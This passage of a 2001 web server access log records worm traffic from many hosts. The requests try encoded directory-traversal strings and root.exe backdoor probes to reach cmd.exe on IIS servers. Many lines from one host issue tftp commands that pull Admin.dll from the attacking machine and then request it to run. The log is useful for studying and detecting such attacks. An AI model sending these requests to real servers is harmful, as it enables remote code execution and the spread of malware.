  11532. 20010919 17:11:20:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11533. 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11534. 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11535. 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11536. 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11537. 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11538. 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11539. 20010919 17:11:38:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11540. 20010919 17:11:56:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11541. 20010919 17:12:15: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11542. 20010919 17:34:37: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11543. 20010919 17:34:37: acquaro2.tc.columbia.edu [128.59.92.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11544. 20010919 17:34:37: acquaro2.tc.columbia.edu [128.59.92.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11545. 20010919 17:34:38: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11546. 20010919 17:34:38: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11547. 20010919 17:34:38: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11548. 20010919 17:34:38: acquaro2.tc.columbia.edu [128.59.92.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11549. 20010919 17:34:39: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11550. 20010919 17:34:39: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11551. 20010919 17:34:39: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11552. 20010919 17:34:39: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11553. 20010919 17:34:40: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11554. 20010919 17:34:40: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11555. 20010919 17:34:40: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11556. 20010919 17:34:40: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11557. 20010919 17:34:40: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11558. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11559. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11560. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11561. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11562. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11563. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11564. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11565. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11566. 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11567. 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11568. 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11569. 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11570. 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11571. 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11572. 20010919 17:34:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11573. 20010919 17:34:59: TY140000.BU.EDU [128.197.230.118] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11574. 20010919 17:38:49: TY140000.BU.EDU [128.197.230.118] "GET /scripts/root.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  11575. 20010919 17:38:52: TY140000.BU.EDU [128.197.230.118] "GET /scripts/Admin.dll HTTP/1.0"
  11576. 20010919 17:38:52: TY140000.BU.EDU [128.197.230.118] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11577. 20010919 17:38:53: TY140000.BU.EDU [128.197.230.118] "GET /MSADC/root.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  11578. 20010919 17:38:53: TY140000.BU.EDU [128.197.230.118] "GET /MSADC/Admin.dll HTTP/1.0"
  11579. 20010919 17:38:53: TY140000.BU.EDU [128.197.230.118] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11580. 20010919 17:38:53: TY140000.BU.EDU [128.197.230.118] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11581. 20010919 17:38:54: TY140000.BU.EDU [128.197.230.118] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11582. 20010919 17:38:54: TY140000.BU.EDU [128.197.230.118] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11583. 20010919 17:38:54: TY140000.BU.EDU [128.197.230.118] "GET /c/Admin.dll HTTP/1.0"
  11584. 20010919 17:38:54: TY140000.BU.EDU [128.197.230.118] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11585. 20010919 17:38:55: TY140000.BU.EDU [128.197.230.118] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11586. 20010919 17:38:58: TY140000.BU.EDU [128.197.230.118] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11587. 20010919 17:39:01: TY140000.BU.EDU [128.197.230.118] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11588. 20010919 17:39:02: TY140000.BU.EDU [128.197.230.118] "GET /d/Admin.dll HTTP/1.0"
  11589. 20010919 17:39:05: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11590. 20010919 17:39:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11591. 20010919 17:39:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11592. 20010919 17:39:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11593. 20010919 17:39:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  11594. 20010919 17:39:13: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11595. 20010919 17:39:13: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11596. 20010919 17:39:14: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11597. 20010919 17:39:14: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11598. 20010919 17:39:14: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  11599. 20010919 17:39:14: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11600. 20010919 17:39:24: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11601. 20010919 17:39:24: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11602. 20010919 17:39:27: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11603. 20010919 17:39:28: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  11604. 20010919 17:39:28: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11605. 20010919 17:39:28: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11606. 20010919 17:39:28: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11607. 20010919 17:39:29: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11608. 20010919 17:39:29: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  11609. 20010919 17:39:32: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11610. 20010919 17:39:33: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11611. 20010919 17:39:33: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11612. 20010919 17:39:36: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11613. 20010919 17:39:37: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  11614. 20010919 17:39:37: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11615. 20010919 17:39:40: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11616. 20010919 17:39:41: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11617. 20010919 17:39:41: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11618. 20010919 17:39:41: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  11619. 20010919 17:39:45: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11620. 20010919 17:39:45: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11621. 20010919 17:39:45: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11622. 20010919 17:39:52: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11623. 20010919 17:39:52: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  11624. 20010919 17:39:55: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11625. 20010919 17:39:56: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11626. 20010919 17:39:56: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11627. 20010919 17:39:56: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11628. 20010919 17:39:56: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  11629. 20010919 17:39:57: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11630. 20010919 17:39:57: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11631. 20010919 17:39:57: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11632. 20010919 17:39:57: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11633. 20010919 17:40:01: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  11634. 20010919 17:40:01: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11635. 20010919 17:40:01: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11636. 20010919 17:40:05: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11637. 20010919 17:40:05: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11638. 20010919 17:40:08: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  11639. 20010919 17:40:08: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11640. 20010919 17:40:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11641. 20010919 17:40:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11642. 20010919 17:40:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11643. 20010919 17:40:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
  11644. 20010919 17:40:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11645. 20010919 17:40:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11646. 20010919 17:40:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11647. 20010919 17:40:14: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11648. 20010919 17:40:17: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  11649. 20010919 17:40:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11650. 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11651. 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11652. 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11653. 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11654. 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11655. 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11656. 20010919 17:42:53: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11657. 20010919 17:42:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11658. 20010919 17:42:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11659. 20010919 17:42:55: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11660. 20010919 17:42:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11661. 20010919 17:42:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11662. 20010919 17:42:58: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11663. 20010919 17:42:58: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11664. 20010919 17:42:58: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11665. 20010919 17:42:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11666. 20010919 17:46:01: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11667. 20010919 17:46:01: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11668. 20010919 17:46:01: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11669. 20010919 17:46:03: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11670. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11671. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11672. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11673. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11674. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11675. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11676. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11677. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11678. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11679. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11680. 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11681. 20010919 17:46:04: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11682. 20010919 17:52:15: ushchr-24b.ucsf.edu [128.218.133.31] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11683. 20010919 17:52:15: ushchr-24b.ucsf.edu [128.218.133.31] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11684. 20010919 17:52:15: ushchr-24b.ucsf.edu [128.218.133.31] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11685. 20010919 17:52:16: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11686. 20010919 17:52:16: ushchr-24b.ucsf.edu [128.218.133.31] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11687. 20010919 17:52:16: ushchr-24b.ucsf.edu [128.218.133.31] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11688. 20010919 17:52:16: ushchr-24b.ucsf.edu [128.218.133.31] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11689. 20010919 17:52:17: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11690. 20010919 17:52:17: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11691. 20010919 17:52:17: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11692. 20010919 17:52:17: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11693. 20010919 17:52:18: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11694. 20010919 17:52:18: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11695. 20010919 17:52:18: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11696. 20010919 17:52:18: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11697. 20010919 17:52:19: jaegerprivateequity.com [128.242.192.134] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11698. 20010919 17:54:41: jaegerprivateequity.com [128.242.192.134] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11699. 20010919 17:54:42: jaegerprivateequity.com [128.242.192.134] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
